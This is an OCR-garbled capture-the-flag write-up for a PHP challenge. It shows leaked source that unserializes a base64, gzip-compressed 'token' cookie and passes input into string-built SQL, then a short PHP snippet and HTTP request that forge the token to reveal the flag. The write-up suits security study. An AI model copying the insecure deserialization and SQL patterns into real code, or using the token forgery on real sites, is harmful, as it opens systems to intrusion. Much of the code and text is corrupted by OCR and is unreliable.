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<l-- testl testli -->

Username: 623px x 977px | [w ﬂ Elements  Console  Sources Network Performance Memory  Application
test1 himl>
¥ <head>
<meta charset="utf-8"»
Password: <titlerlog In</title
<link rel="stylesheet” href="//cdn.bootcss.com/skeleton/2.8.4/skeleton.min.css™>
Password </head>
¥ <body
P <div class="container”>..</div>
LOG IN . ¢l-- testl testl --> == %@
</body>
</html>
error!!
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<meta charset="utf-8">
<fhead>
<body>{” ' 0"} ~1L</body>
</html:
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Name | walue |
FrrepLoL fuuun
Date Sat, 04 Jul 2020 12:21:31 GMT rl:
Content-Type text/html;charset=utf-8 )
Content-Langth 69
Connaction close
Vary Accept-Encading
Expires Thii, 19 MNev 1981 08:52:00 GMT
Cache-Control no-store, na-cache, must-revalidate, post-check=0, pr...
Pragma no-cache
show |o
ary Accept-Encoding
X-\ia-SL fa7dosd,- (
®-Cache bypass L4
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3 =/head=
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Target: httpyfeci- fodyp7ldg7krldfo.cl giu.com /l

Response
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MNarne | wvalue

HTTRP/1.1 200 0K

GET

Host
User-Agent
Accept

Jjmember php HTTP/1.1

eci-2zeef0dyp7Idg7kr1dfo cloudeciichungiu.com
Mozilla/S.0 (¥11; Linux xB6_64; rv:68.0) Gecko/201...
taxt/htrnl.applicationfxhtmi-+xml licationf=mil:qg...

Date: Sat, 04 Jul 2020 12: 16: 26 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 918

Connection: close

[ I S U S

zh-CM,zh;q=0.8.zh-Tw;q=0.7.zh-HK:g=0.5.en-US;...
gzip, deflate

http:reci-2zeafodyp7ldg7kr1dfo cloudeciichungiu....
close
__jsluid_h=adoss3f7falfagcso=of7acbshasfaslp. ..
1

max-age=0

Accept-Language
Accept-Encoding

Referer

Connection

Cookie
Upgrade-Insecure-Reque...
Cache-Control

Vary: Accept-Encading

Expires: Thu, 19 Nov 1981 08:52: 00 GMT

Cache-cContrel: no-store, no-cache, must-revalidate, post-check=0, pre-chac
Pragma: no-cache

Vary: Accept-Encoding

X-Via-JsL: f97desd, -

X-Cache: bypass
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14 <head=>

show L

15  <metacharset="utf-g" />
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<fhead=

=! .. =?php

inelude ' common.php' ;

$requset =array_merge ($_GET, $_POST, $ SESSION, $_COOKIE) ;
class db

{

public gwhare;

function __wakeup()

20
21
2
23
24 {

25 if (tempty ($this->where))

26 1

27 $this-=select{$this-=where);
28}

29}

30
31
3z
32 $sql =mysql_query('select * fromuser where ' . gwhere);
34 return @mysql_fetch_array(gsql);

36}

37

N

functionselect(fwhere)
{

B

if (isset($requset[' token']1))
Ll
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<!-- <?php
include 'common.php’;
$requset = array_merge($_GET, $_POST, $ SESSION, $ COOKIE);
class db
{
public $where;
function _ wakeup()
{
if(lempty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset[ 'token'])));
$db = new db();
$row = $db->select('user=\"'".mysql_real_escape_string($login[‘'user']).'\"'");

if($login['user'] === ‘'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!’;
telse{
echo "(Z ‘o’)’ ~LL;
¥
telse{
header('Location: index.php?error=1");
¥
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B S AME $login = unserialize(gzuncompress(base64_decode($requset[ 'token']))); REH & if($login[ 'user'] ===
‘ichungiu') iR Elflag, FEEHE INE
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<?php

$array = array(
"foo" => "bar",
"bar" => "foo",

)5

// H PHP 5.4 &
$array = [
"foo" => "bar",
"bar" => "foo",

B HSB AWK $login['user'] === 'ichunqiu' KR A, FURMNBEMEL — N B4 $a=array("user" =>
"ichunqiu") , ZJaRE4TNE

serialize() IREIZ/FE, WFRBEAE T RS value FIETR, FTUEME T . F5l{kserialize()uh 2w Lo 2 A2 B AE W
name. vaule. sex. money%& 7 fikfE SR R F— N FE B Biextend params, A HBINTFRER 427, #HAKERELRF
%l{kextend_params, 1# Funserialize()&i %L

gzcompress()SEMLFAF 5 46, gzuncompress()SE IR fEE
base64_encode() 7 & i Tbaseb4 4T %, base64_decode() base64f# %

8 B #%PAT G 1T T base64fR#, gzuncompressf#fE, unserialize 55t ¥ php, BATH B 18 1E i A &= (9 65 49 & fn
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$a=base64_encode(gzcompress(serialize($a)));

A php 10 A

<?php

$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo %a;

?>
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eJIxLtDKOqi62MrFSKilOLVKyLraysFLKTM40zSvMLFWyrgUAo4oKXA==
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GET /member . php HTTP/1.1

Host: eci-2zels80eg3adangslgmls.cloudeci . ichungiu.com

User-Agent: Mozillay/S.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/%;q=0.8
Accept-Language:

zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-US; q=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate

Rreferer:

http: //eci-2zeefodyp7ldg7kridfo.cloudeci . ichungiu.com/index.phprerror=1
Connection: close

Cookie: _ jsluid_h=adoss3f7falfaoscsoeof 78cbsbazf341; PHPSESSID=
qmfBurSemsSc 7pggcdrosOeh76; token=

eJ xLtDKOgi 62MrFSK1 10LVKyLraysFLKTMdozSvMLFWy rgUscdoK A==
Upgrade-Insecure-Requests: 1

cache-Control: max-age=0|

show: 1
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1include 'common.php' ;

19 frequset =array_merge ($_GET, $_POST, $_SESSION, $_COOKIE);
20 class db

21 1

22 public gwhare;

23 function _ wakeup()

24 {

25 if(tempty ($this->where))

26 {

27 $this-=select(fthis-swhere);

28}

29}

30

31 functionselect(gwhere)

32 {

33 $sql=mysql_query('select * fromuser where ' .$where);

34
3s
36
az
38
39
40

return @mysql_fetch_array(gsql);
}
¥

if(isset($requset[' token']))

i

$login=unserialize(gzuncompress(basesd_decode($requset[’ token'1)));
$db=newdb(]);

42 $row=$db->select('user=\""' .mysql_real_escape_string(glogin[ 'user'1).
43 if($login['user’] === 'ichungiu')

a4 {

45 echo $flag;

46 Yelseif (frowl ' pass'] I==%login['pass'1){
47 echo "unserializeinjection!!’';

48 Yelse{

49 echo* (4 ‘g’ )4 =1L =;

50}

51 relse{

52 header('Location: index.phpterror=1'];
53}

54
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